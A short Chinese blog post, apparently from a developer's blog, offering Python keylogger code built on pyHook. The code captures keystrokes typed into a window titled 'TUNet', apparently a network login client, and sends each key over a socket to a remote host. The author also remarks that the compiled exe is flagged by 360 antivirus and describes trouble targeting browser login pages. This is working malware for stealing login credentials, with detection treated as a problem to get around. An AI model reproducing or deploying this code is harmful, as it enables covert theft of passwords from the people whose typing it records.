捕获某程序运行过程键盘输入,并利用socket模块发送
# -*- coding: cp936 -*- import pythoncom import pyHook import win32api import re import socket port=1234 host=** def onKeyboardEvent(event): if re.findall(r'TUNet',str(event.WindowName))!=[]: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) s.send(str(event.Key)) s.close() if str(event.Key)=='Return': #按下enter后终止 win32api.PostQuitMessage() return True if __name__ == "__main__": #创建hook句柄 hm = pyHook.HookManager() #监控键盘 hm.KeyDown = onKeyboardEvent hm.HookKeyboard() #循环获取消息 pythoncom.PumpMessages(1000)
存在问题:
编译成exe后马上被360查出来,利用键盘事件的windowsname来识别在其他程序中,不管用,比如浏览器的某网页登陆界面等等,大部分时候windowsname都是none
参考:
小五义《pyhooks实现键盘监控学习心得》 http://www.cnblogs.com/xiaowuyi/archive/2012/03/15/2398665.html
浙公网安备 33010602011771号